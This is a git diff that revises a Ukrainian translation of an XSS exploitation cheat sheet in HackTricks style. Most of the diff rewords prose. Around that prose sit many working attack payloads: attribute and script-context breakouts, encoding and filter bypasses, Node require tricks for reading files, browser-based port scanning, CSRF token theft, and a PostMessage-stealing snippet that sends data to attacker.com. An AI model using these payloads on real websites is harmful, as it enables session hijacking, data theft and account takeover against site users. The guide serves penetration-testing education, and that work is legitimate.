2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **того, в якому атрибуті** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**неексплуатованих тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
|
||||
```html
|
||||
@ -69,8 +69,8 @@ debugging-client-side-js.md
|
||||
|
||||
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
|
||||
|
||||
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
|
||||
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо є помилка, він не буде виконаний):
|
||||
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, отже, він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML-коду.
|
||||
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -92,9 +92,9 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на кшталт: `?callback=callbackFunc`.
|
||||
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, виглядає так: `?callback=callbackFunc`.
|
||||
|
||||
Добрий спосіб дізнатися, чи щось, що надано безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
Добрий спосіб дізнатися, чи намагається виконатися щось, що надано безпосередньо користувачем, це **модифікувати значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -104,7 +104,7 @@ js-hoisting.md
|
||||
|
||||
.png>)
|
||||
|
||||
Декілька корисних функцій для цього:
|
||||
Деякі корисні функції для цього:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Ви також можете спробувати **викликати функції Javascript** безпосередньо: `obj.sales.delOrders`.
|
||||
|
||||
Однак, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
|
||||
Однак, зазвичай кінцеві точки, що виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
|
||||
|
||||
Тому, щоб **зловживати цією вразливістю в іншому DOM**, була розроблена експлуатація **Same Origin Method Execution (SOME)**:
|
||||
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Є **JS код**, який **недобросовісно** використовує деякі **дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.
|
||||
Є **JS код**, який **недобросовісно** використовує деякі **дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконувати довільний JS код.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Універсальний XSS**
|
||||
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та багато іншого.\
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
|
||||
Деякі **приклади**:
|
||||
|
||||
{{#ref}}
|
||||
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Впровадження всередині сирого HTML
|
||||
|
||||
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти та впровадити HTML-код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML-кодований** або **видалений**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
|
||||
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML код в цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
|
||||
Для цих випадків також **пам'ятайте** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Примітка: HTML-коментар може бути закритий за допомогою\*\*\*\*\*\***\***\*`-->`\*\***\***\*або \*\*\*\*\*\***`--!>`\*\*_
|
||||
_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\***\***\*`-->`\*\***\***\*або \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
|
||||
```html
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **перебрати, які теги** ви можете створити.\
|
||||
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **перебрати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
|
||||
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **брутфорсити, які теги** ви можете створити.\
|
||||
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **брутфорсити атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
|
||||
|
||||
### Перебір тегів/подій
|
||||
### Брутфорс тегів/подій
|
||||
|
||||
Перейдіть до [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **перебрати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
Перейдіть до [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **брутфорсити всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
|
||||
### Користувацькі теги
|
||||
|
||||
@ -235,7 +235,7 @@ onerror=alert`1`
|
||||
```
|
||||
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\
|
||||
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
|
||||
Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
|
||||
Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -243,14 +243,14 @@ onerror=alert`1`
|
||||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
|
||||
### Всередині тегу/вихід з значення атрибута
|
||||
|
||||
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі пейлоади, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід безпосередньо відображається всередині тегу_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,12 +267,12 @@ onerror=alert`1`
|
||||
```
|
||||
### Всередині атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися </a>`
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися назад </a>`
|
||||
|
||||
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
|
||||
```javascript
|
||||
@ -377,7 +377,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank"` та `rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -403,12 +403,12 @@ Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
|
||||
|
||||
З [**цієї статті**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
|
||||
З [**цього посилання**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
І в **meta тегах**:
|
||||
І в **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -433,22 +433,22 @@ onbeforetoggle="alert(2)" />
|
||||
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
|
||||
|
||||
- **HTML кодування (HTML теги)**
|
||||
- **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
- **URL кодування**
|
||||
- **Шістнадцяткове та вісімкове кодування**
|
||||
- **кодування даних**
|
||||
|
||||
**Обходи для HTML тегів та атрибутів**
|
||||
|
||||
Прочитайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
|
||||
Читайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
|
||||
|
||||
**Обходи для JavaScript коду**
|
||||
|
||||
Прочитайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
Читайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Гаджети
|
||||
### CSS-Gadgets
|
||||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певного виду взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,9 +468,9 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## Впровадження всередині JavaScript коду
|
||||
|
||||
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
У цьому випадку ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
|
||||
### Вихід з тегу \<script>
|
||||
### Вихід з \<script> тегу
|
||||
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
|
||||
```javascript
|
||||
@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### Всередині коду JS
|
||||
|
||||
Якщо `<>` очищуються, ви все ще можете **втекти рядок**, де ваше введення **знаходиться** і **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо є будь-які помилки, код JS не буде виконано:
|
||||
Якщо `<>` очищуються, ви все ще можете **в escape рядок**, де ваше введення **знаходиться** і **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо є будь-які помилки, код JS не буде виконано:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -503,7 +503,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Закодоване виконання коду
|
||||
### Виконання коду з кодуванням
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -740,7 +740,7 @@ top[8680439..toString(30)](1)
|
||||
## **DOM вразливості**
|
||||
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються атакуючим**, такі як `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
|
||||
**Через розширення пояснення про** [**DOM вразливості, вона була переміщена на цю сторінку**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -753,7 +753,7 @@ dom-xss.md
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в весь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -767,7 +767,7 @@ dom-xss.md
|
||||
|
||||
### Віддзеркалення сесії
|
||||
|
||||
Якщо ви знайдете деяке self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
|
||||
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
|
||||
|
||||
@ -777,13 +777,13 @@ dom-xss.md
|
||||
|
||||
Ви могли б перевірити, чи **відображені значення** нормалізуються в **unicode** на сервері (або на стороні клієнта) і зловживати цією функціональністю, щоб обійти захист. [**Знайдіть приклад тут**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
### PHP FILTER_VALIDATE_EMAIL обхід прапора
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails обход
|
||||
### Ruby-On-Rails обхід
|
||||
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обходиться, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обминається, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Приклад форми ([з цього звіту](https://hackerone.com/reports/709336)), якщо ви надішлете payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -826,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS з ін'єкцією заголовків у відповіді 302
|
||||
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу не буде працювати.
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки у відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний вантаж для міжсайтового скриптингу є марним.
|
||||
|
||||
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевіряти та виконувати payload XSS у тілі.\
|
||||
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати вантаж XSS у тілі.\
|
||||
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
|
||||
|
||||
### Тільки літери, цифри та крапки
|
||||
@ -837,11 +837,11 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
### Дійсні `<script>` Content-Types для XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type** таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
|
||||
> Відмовлено у виконанні скрипту з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
> Відмовлено у виконанні скрипта з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
|
||||
Єдині **Content-Type**s, які дозволять Chrome виконати **завантажений скрипт**, - це ті, що входять до константи **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Єдиними **Content-Type**ами, які дозволять Chrome виконати **завантажений скрипт**, є ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -869,7 +869,9 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **модуль** (за замовчуванням, нічого не потрібно пояснювати)
|
||||
Відповідь:
|
||||
|
||||
- **module** (за замовчуванням, нічого не потрібно пояснювати)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -897,9 +899,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, що може викликати XSS.
|
||||
Ця поведінка була використана в [**цьому описі**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, що може викликати XSS.
|
||||
|
||||
- [**правиласпекуляції**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -915,24 +917,24 @@ import { partition } from "lodash"
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Веб-типи вмісту для XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це на CTF)
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
|
||||
- application/rss+xml (вимкнено)
|
||||
- application/atom+xml (вимкнено)
|
||||
|
||||
В інших браузерах можуть використовуватися інші **`Content-Types`** для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Тип вмісту
|
||||
### xml Content Type
|
||||
|
||||
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен і виконати довільний JS:
|
||||
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -1009,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
|
||||
У схожий спосіб, як у попередньому прикладі, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1051,7 +1053,6 @@ trigger()
|
||||
|
||||
- **Різні обфускації на одній сторінці:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1359,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
|
||||
_Короткі часи вказують на порт, що відповідає_ _Довші часи вказують на відсутність відповіді._
|
||||
|
||||
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1404,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Вкрадення повідомлень PostMessage
|
||||
### Крадіжка повідомлень PostMessage
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
@ -1499,7 +1500,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Доступ до прихованого контенту
|
||||
|
||||
